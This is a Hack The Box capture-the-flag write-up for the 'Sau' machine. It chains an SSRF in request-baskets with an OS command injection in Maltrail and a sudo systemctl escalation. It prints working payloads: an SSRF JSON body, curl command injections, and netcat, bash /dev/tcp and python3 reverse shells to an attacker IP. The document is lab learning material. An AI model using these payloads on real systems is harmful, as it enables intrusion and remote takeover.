HTB writeup - Sau

Reconnaissance

Once I spun the machine, I checked if there was a webserver on ports 80 or 443. Tried to open machine IP in a browser to no effect.

Next step - nmap scan: nmap -vvv -A -Pn machine_ip It revealed that ports 22 and 55555 are open, and it looked like there is some kind of web server on 55555 port. Opened it in a browser, and here we go: finally, some web app.

It appeared to be request-baskets, a web app for API testing & fine tuning. And the version of the app is 1.2.1. A little bit of googling revealed that there was a SSRF in request-baskets versions up to 1.2.1.

First vulnerability - SSRF

I found a POC for this vuln: https://gist.github.com/b33t1e/3079c10c88cad379fb166c389ce3b7b3 Here's the useful part:


[Attack Vectors]
POC: POST /api/baskets/{name} API with payload - {"forward_url": "http://127.0.0.1:80/test","proxy_response": false,"insecure_tls": false,"expand_path": true,"capacity": 250}
details can be seen: https://notes.sjtu.edu.cn/s/MUUhEymt7

When I poked around the app before, I noticed that if you hit the button with a gear you get a popup with basket settings, and the parameters there are the same:

Funny thing. Two things actually. Firstly, it works best if param "proxy_response" is set to true. Secondly, POC mentions POST, and burp catches PUT when I set params via this popup window.

Anyhow, now I had a presumably working SSRF, so at first I set Forward URL to point to 127.0.0.1:80 to check if there is some web app that is not accessible other then from the localhost.

And I got some ugly looking web page:

Let's stop for a second here and I will explain why I set proxy_response to true. After reading the docs for request-baskets, I got a general concept of what it is and how it's supposed to work. If you set a Forward URL, it catches your request in a basket and forwards it to the URL you set. And if you set Proxy response to true, when you request basket URL, not only will it forward your request to Forward URL, but it will show you response in the browser.

I figured that it would be easiest way to check if it works - just use the browser.

Second vulnerability - OS command injection

But let's get to the machine hacking workflow. So as you can see, service that inhibits port 80 on this machine is Maltrail v0.53. I checked changelog, and there it was:

OS command injection, just what we need to get a shell. I checked the closed Issue #19146 and found there a link with initial bug report & exploit POC: https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/

I needed to test if this actually works. I needed some way to test it, and first thing that occurred to me was to ping my machine. I launched tcpdump and tried to ping my machine, which it did. So exploit works. Then I decided to do some enumeration and an idea came to me: I could use the same basket to catch not only my requests, but also requests that I send from the machine using this RCE. So at first I used curl to make the machine to send data as GET params:

But that was ugly and not very convenient. After a few tests I upgraded the exploit to sent POST instead of GET:

curl -X POST --data 'username=;`curl -X POST http://10.10.11.224:55555/zsv7bph --data "$(whoami)"`' http://10.10.11.224:55555/zsv7bph

And finally found the user flag:

Getting a shell

Now I needed to get my hands on the root flag. And to do that I needed to get a foothold in the system and escalate privileges.

Firstly, I tested if I can write to /home/puma/.ssh and I found that I actually can do that. So I created /home/puma/.ssh/authorized_keys with my kali machine pubkey only to find out that I can’t use it. I looked on /etc/ssh/sshd_config only to find that authentication via SSH keys is turned off. My reaction was like

Who the hell turns off SSH key authentication beside HTB machine makers?!!
Who the hell turns off SSH key authentication beside HTB machine makers?!!

So I tried different fancy shell scripts to no effect, until this one finally worked:

curl -X POST --data 'username=;`nc 10.10.14.33 4545 | /bin/bash | nc 10.10.14.33 4646`' http://10.10.11.224:55555/jdg4neo

It's a very basic shell, it actually uses two netcat listeners, first one is used to send commands, second catches the response. Way better then reading response from logged POST requests, but still not a proper shell.

Then I used this netcat-based crude shell to spawn a better one:

/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.33/9999 0>&1'

It looked like a decent shell, but didn't interact with password and pagers, which was the reason for some wasted time. I enumerated the system and found that user has a NO-PASSWORD sudo. I ran sudo -l and here's what it got me:

Matching Defaults entries for puma on sau:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

I googled for privilege escalation based on this setting and found this: https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-systemctl-privilege-escalation/

After some research I found that supposedly if I run:

sudo /usr/bin/systemctl status trail.service

It should return the output not in console, but in less, a pager tool that can spawn a console. But it didn't! It took some time & more research before I thought of trying the other shell. This time I used python3-based shell script:

export RHOST="10.10.14.33";export RPORT=9999;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

And it finally worked!

Conclusion

It was actually a very interesting machine, I learned a lot. Main conclusion: if something doesn't work as it supposed to, double check all steps and try different shell scripts.

Subscribe to zerodaily
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.